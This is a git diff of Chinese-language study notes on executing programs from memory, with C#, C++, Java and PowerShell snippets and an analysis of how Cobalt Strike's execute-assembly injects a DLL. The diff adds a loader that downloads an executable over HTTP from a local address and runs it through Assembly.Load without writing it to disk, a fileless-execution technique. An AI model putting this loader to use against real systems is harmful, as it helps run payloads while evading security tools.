11# 内存加载执行文件的方法
22
3+
4+
35分两部分:
46
57* .NET程序集
68* PE文件
79
810## 0. 执行本地文件
911
10- 此处以C#和C++为例 :AI都会写
12+ 此处以C# C++ Java为例 :AI都会写
1113
1214### exe
1315
@@ -58,6 +60,26 @@ int main()
5860}
5961```
6062
63+ Java
64+
65+ ``` java
66+ public void exeExecute(String filePath) {
67+
68+ try {
69+ // 创建进程
70+ ProcessBuilder processBuilder = new ProcessBuilder (filePath);
71+ processBuilder. redirectErrorStream(true ); // 合并错误流
72+ Process process = processBuilder. start();
73+
74+ // 等待进程结束
75+ int exitCode = process. waitFor();
76+ System . out. println(" Exited with code: " + exitCode);
77+ } catch (IOException | InterruptedException e) {
78+ e. printStackTrace();
79+ }
80+ }
81+ ```
82+
6183
6284
6385### dll
@@ -112,6 +134,10 @@ int main()
112134}
113135```
114136
137+ Java调用第三方dll有点困难,需要dll的源码中实现了JNI方法,此处就不写了。
138+
139+
140+
115141
116142
117143## 1. managed代码内存加载.NET程序集
@@ -120,7 +146,11 @@ int main()
120146
121147使用C#从内存中加载.NET程序集,直接用`Assembly.Load`就行了。
122148
123- [Assembly.Load Method (System.Reflection) | Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5)
149+ > [从内存加载.NET程序集(Assembly.Load)的利用分析](https://3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(Assembly.Load)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90)
150+ >
151+ > [Assembly.Load Method (System.Reflection) | Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5)
152+
153+
124154
125155### 1.1. 三种Load的区别
126156
@@ -134,8 +164,6 @@ int main()
134164
135165### 1.2. C#反射加载流程
136166
137- **(1) 编写测试程序**
138-
139167测试程序的代码如下:
140168
141169```csharp
@@ -169,7 +197,9 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.c
169197
170198生成testcalc.exe
171199
172- ** (2) 测试的.exe作base64编码**
200+ #### 方法1
201+
202+ ** (1)测试的.exe作base64编码**
173203
174204代码如下:
175205
@@ -191,7 +221,7 @@ namespace TestApplication
191221}
192222```
193223
194- ** (3) 还原.exe的内容**
224+ ** (2) 还原.exe的内容**
195225
196226``` csharp
197227using System ;
@@ -210,7 +240,7 @@ namespace TestApplication
210240
211241
212242
213- ** ( 4 ) 使用Assembly .Load ()加载程序集并调用方法**
243+ ** ( 3 ) 使用Assembly .Load ()加载程序集并调用方法**
214244
215245代码如下:
216246
@@ -252,48 +282,56 @@ namespace TestApplication
252282 string base64str = " xxxxxx" ; // 此处省略一万字
253283 byte [] buffer = Convert .FromBase64String (base64str );
254284
285+ // 这里的Assembly.Load可以读取字符串形式的程序集,也就是说exe文件不需要写入硬盘
255286 Assembly assembly = Assembly .Load (buffer );
287+ // 以exe为例,如果是dll文件就必须指定类名函数名
256288 MethodInfo method = assembly .EntryPoint ;
289+ method .Invoke (null , null );
257290 // 想要指定参数
258- object [] parameters = new [] {" -a" ," -b" };
259- method .Invoke (null , parameters );
291+ // object[] parameters = new[] {"-a","-b"};
292+ // method.Invoke(null, parameters);
260293 }
261294 }
262295}
263296```
264297
265- ### 1.3. 示例代码
298+ #### 方法2
266299
267- #### c#
300+ 远程下载
268301
269302```csharp
270- using System;
271- using System.IO;
272- using System.Reflection;
273-
274- namespace MemoryLoadApplication
275- {
276-
277- class Program
303+ public class remote
278304 {
279-
280- static void Main (string [] args )
305+ public static void MemoryExecutor ()
281306 {
307+ // 方法1. 把exe文件给base64编码,然后保存在一个常量里, 转成byte数组,放到Assembly.Load函数里
308+ // string base64String = Constants.Base64Exe;
309+ // byte[] buffer = Convert.FromBase64String(base64String);
282310
283- byte [] buffer = File .ReadAllBytes (@" C:\Users\Black Sheep\source\repos\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe" );
284- string base64str = Convert .ToBase64String (buffer );
285- string dir = Directory .GetCurrentDirectory ();
286- buffer = Convert .FromBase64String (base64str );
287- File .WriteAllText ($" {dir }\\ base64.txt" , base64str );
288- Assembly assembly = System .Reflection .Assembly .Load (buffer );
289- assembly .EntryPoint .Invoke (null , new object [] { args });
290-
311+ // 方法2. 远程下载exe,赋值给一个字符串类型的变量
312+ byte [] buffer = GetRemoteByte (" http://127.0.0.1:8000/testcalc.exe" );
313+
314+ Assembly assembly = Assembly .Load (buffer );
315+ MethodInfo method = assembly .EntryPoint ;
316+ method .Invoke (null , null );
317+ }
318+
319+
320+ private static byte [] GetRemoteByte (string serviceUrl )
321+ {
322+ WebClient client = new WebClient ();
323+ byte [] buffer = client .DownloadData (serviceUrl );
324+ return buffer ;
291325 }
326+
292327 }
293- }
294328```
295329
296- #### powershell
330+
331+
332+ ### 1.3. powershell
333+
334+ > https : // idiotc4t.com/code-and-dll-process-injection/.net-fan-she-jia-zai
297335
298336powershell 访问.net 程序集的代码比较简单
299337
@@ -367,7 +405,7 @@ CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行
367405
368406[! [image - 20220114182256752 ](img / PELoader / image - 20220114182256752 .png )](https :// 0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220114182256752.png)
369407
370- 接下来进入spawn 方法,可以看到是** 通过反射DLL 的方法,将invokeassembly .dll 注入到进程当中** (这块也不知道咋实现的 ),并且设置任务号为70 (x86 版本)或者71 (x64 )。注入的invokeassembly .dll 在其内存中创建CLR 环境,然后通过管道再将C #可执行文件读取到内存中,最后执行。
408+ 接下来进入spawn 方法,可以看到是** 通过反射DLL 的方法,将invokeassembly .dll 注入到进程当中** (这块还没自己实现过 ),并且设置任务号为70 (x86 版本)或者71 (x64 )。注入的invokeassembly .dll 在其内存中创建CLR 环境,然后通过管道再将C #可执行文件读取到内存中,最后执行。
371409
372410```java
373411public void spawn (String var1 ) {
@@ -481,6 +519,8 @@ namespace TEST
481519
482520### 2.4. 内存加载执行.NET程序集
483521
522+ >
523+
4845241 .初始化CLR 环境(同上)
485525
486526```cpp
0 commit comments